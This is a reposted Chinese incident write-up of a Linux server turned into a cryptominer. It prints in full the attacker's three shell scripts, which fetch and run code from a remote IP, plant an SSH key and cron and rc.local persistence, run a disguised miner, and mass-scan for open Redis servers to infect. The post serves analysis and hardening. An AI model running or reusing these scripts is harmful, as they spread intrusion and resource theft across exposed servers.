1. 威客安全首页
  2. 安全资讯

记一次linux(被)入侵,服务器变矿机~

请点击上面 记一次linux(被)入侵,服务器变矿机~ 一键关注!

内容来源看雪社区

原文:http://t.cn/RnpJj2e

记一次linux(被)入侵,服务器变矿机~

               

背景

    周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。


    不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。


    我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不足 8 位的小白密码,心里一凉:被黑了!


查找线索

    服务器系统是 CentOS 6.X,部署了 Nginx、Tomcat、Redis 等应用,上来先把数据库全备份到本地,然后 top 命令看了一下,有 2 个99%的同名进程还在运行,叫 gpg-agentd。

记一次linux(被)入侵,服务器变矿机~


Google 了一下 gpg,结果是:

GPG 提供的 gpg-agent 提供了对 SSH 协议的支持,这个功能可以大大简化密钥的管理工作。

    看起来像是一个很正经的程序嘛,但仔细再看看服务器上的进程后面还跟着一个字母 d,伪装的很好,让人想起来 Windows 上各种看起来像 svchost.exe 的病毒。继续:

$ ps eho command -p 23374$ netstat -pan | grep 23374

    查看 pid:23374 进程启动路径和网络状况,也就是来到了图 1 的目录,到此已经找到了黑客留下的二进制可执行文件。接下来还有 2 个问题在等着我:

1. 文件是怎么上传的?
2. 这个文件的目的是什么,或是黑客想干嘛?

history 看一下,记录果然都被清掉了,没留下任何痕迹。继续命令 more messages:

记一次linux(被)入侵,服务器变矿机~

看到了在半夜 12 点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意。


下面详细讲,边找边猜。如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务。

$ crontab -e

记一次linux(被)入侵,服务器变矿机~

果然,线索找到了。

作案动机

上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本,并且执行这个脚本。我们把脚本下载下来看一下。

$ curl -fsSL 159.89.190.243/ash.php > ash.sh

脚本内容如下:

uname -aidhostnamesetenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000crontab -r 2>/dev/nullrm -rf /var/spool/cron/* 2>/dev/nullmkdir -p /var/spool/cron/crontabs 2>/dev/nullmkdir -p /root/.ssh 2>/dev/nullecho 'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqxredisX' > /root/.ssh/authorized_keysecho '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/rootecho '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root
yum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/null
bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

    大致分析一下该脚本的主要用途:首先是关闭 SELinux,解除 Shell 资源访问限制,然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公钥,这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多。接下来安装 Bash,最后是继续下载第二个脚本 bsh.php,并且执行。

 

继续下载并分析 bsh.pbp,内容如下:

sleep $( seq 3 7 | sort -R | head -n1 )cd /tmp || cd /var/tmpsleep 1mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...sleep 1if [ -f .watch ]; thenrm -rf .watchexit 0fisleep 1echo 1 > .watchsleep 1ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/nullps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/nullsleep 1if ! [ -x /usr/bin/gpg-agentd ]; thencurl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.dbecho '/usr/bin/gpg-agentd' > /etc/rc.localecho 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.localecho 'exit 0' >> /etc/rc.localfisleep 1chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentdsleep 1if ! [ -x "$(command -v masscan)" ]; thenrm -rf /var/lib/apt/lists/*rm -rf x1.tar.gzif [ -x "$(command -v apt-get)" ]; thenexport DEBIAN_FRONTEND=noninteractiveapt-get update -yapt-get install -y debconf-docapt-get install -y build-essentialapt-get install -y libpcap0.8-dev libpcap0.8apt-get install -y libpcap*apt-get install -y make gcc gitapt-get install -y redis-serverapt-get install -y redis-toolsapt-get install -y redisapt-get install -y iptablesapt-get install -y wget curlfiif [ -x "$(command -v yum)" ]; thenyum update -yyum install -y epel-releaseyum update -yyum install -y git iptables make gcc redis libpcap libpcap-develyum install -y wget curlfisleep 1curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gzsleep 1[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4fisleep 3 && rm -rf .watchbash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null

这段脚本的代码比较长,但主要的功能有 4 个:

  • 下载远程代码到本地,添加执行权限,chmod u+x。

  • 修改 rc.local,让本地代码开机自动执行。

  • 下载 github 上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的 messages 里看到的记录。

  • 下载第三个脚本,并且执行。


我去 Github 上看了下这个开源代码,简直吊炸天。

MASSCAN: Mass IP port scanner
This is an Internet-scale port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, from a single machine.
It's input/output is similar to nmap, the most famous port scanner. When in doubt, try one of those features.
Internally, it uses asynchronous tranmissions, similar to port scanners like scanrand, unicornscan, and ZMap. It's more flexible, allowing arbitrary port and address ranges.
NOTE: masscan uses a its own custom TCP/IP stack. Anything other than simple port scans may cause conflict with the local TCP/IP stack. This means you need to either the --src-ip option to run from a different IP address, or use --src-port to configure which source ports masscan uses, then also configure the internal firewall (like pf or iptables) to firewall those ports from the rest of the operating system.

    transmitting 10 million packets per second (每秒发送 1000 万个数据包),比 nmap 速度还要快,这就不难理解为什么阿里云把服务器冻结了,大概看了下 Readme 之后,我也没有细究,继续下载第三个脚本。

setenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000sleep 1iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/nulliptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/nullsleep 1rm -rf .dat .shard .ranges .lan 2>/dev/nullsleep 1echo 'config set dbfilename "backup.db"' > .datecho 'save' >> .datecho 'flushall' >> .datecho 'set backup1 "nnn*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | shnn"' >> .datecho 'set backup2 "nnn*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | shnn"' >> .datecho 'set backup3 "nnn*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | shnn"' >> .datecho 'set backup4 "nnn*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | shnn"' >> .datecho 'config set dir "/var/spool/cron/"' >> .datecho 'config set dbfilename "root"' >> .datecho 'save' >> .datecho 'config set dir "/var/spool/cron/crontabs"' >> .datecho 'save' >> .datsleep 1masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shardsleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .shardsleep 1masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .rangessleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .rangessleep 1ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inetsleep 1masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lansleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .lansleep 60rm -rf .dat .shard .ranges .lan 2>/dev/null

    如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。


    一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过 Redis 的人,应该能猜到,这里是对 Redis 进行配置。写这个配置,自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞。

    结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的 /root/.ssh/authorized_keys。


    登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用 masscan 进行全网扫描 Redis 服务器,寻找肉鸡。


    注意看这 6379 就是 Redis 服务器的默认端口,如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0,并且没有密码保护,不好意思,你就中招了。


总结

    通过依次分析这 3 个脚本,就能看出这个病毒的可怕之处,先是通过写入 SSH Public Key 拿到登录权限,然后下载执行远程二进制文件,最后再通过 Redis漏洞复制,迅速在全网传播,以指数级速度增长。


    那么问题是,这台服务器是怎么中招的呢?看了下 redis.conf,bind 的地址是127.0.0.1,没啥问题。由此可以推断,应该是 root 帐号被暴力破解了,为了验证我的想法,我 lastb 看了一下,果然有大量的记录:

记一次linux(被)入侵,服务器变矿机~

    还剩最后一个问题,这个 gpg-agentd 程序到底是干什么的呢?我当时的第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。


    于是,顺手把这个 gpg-agentd 拖到 ida 中,用 string 搜索 bitcoin、eth、 mine 等相关单词,最终发现了这个:

记一次linux(被)入侵,服务器变矿机~


打开 nicehash.com 看一下,一切都清晰了。

记一次linux(被)入侵,服务器变矿机~


安全建议

1. 服务器

  • 禁用 ROOT 用户

  • 用户名和密码尽量复杂

  • 修改 SSH 的默认22端口

  • 安装 DenyHosts 防暴力破解软件

  • 禁用密码登录,使用 RSA 公钥登录


2. Redis

  • 禁用公网 IP 监听,包括 0.0.0.0

  • 使用密码限制访问 Redis

  • 使用较低权限帐号运行 Redis

 

   至此,整个入侵过程基本分析完了,如果大家对样本有兴趣,也可以自行去Curl,或是去虚拟机执行上面的脚本。


   鉴于本人能力有限,文中难免会出现疏忽或是错误,还请大家多多指正。

记一次linux(被)入侵,服务器变矿机~

「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!

知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。

如何加入:扫描下方二维码,扫码付费即可加入。

加入知识星球的同学,请加我微信,拉您进VIP交流群!

记一次linux(被)入侵,服务器变矿机~

加入群聊

为了【天億网络安全】微信群管理,想进群的朋友先加我好友,我拉你们进群,微信二维码如下:

记一次linux(被)入侵,服务器变矿机~

—THE END—

朋友都在看

▶️公安部 马力 | 网络安全等级保护2.0主要标准介绍

▶️干货 | 等保2.0新标准介绍

▶️重磅 |等保2.0正式发布,2019年12月1日实施

▶️等保2.0通用部分 | 安全区域边界(三级)测评指导书

天億网络安全

【欢迎收藏分享到朋友圈,让更多朋友了解网络安全,分享也是一种美德!】

记一次linux(被)入侵,服务器变矿机~

↑↑↑长按图片识别二维码关註↑↑↑


欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知识

原文始发于微信公众号(天億网络安全):记一次linux(被)入侵,服务器变矿机~

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

登录后才能评论

联系我们

15110186328

在线咨询:点击这里给我发消息

邮件:zhanglei@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code
X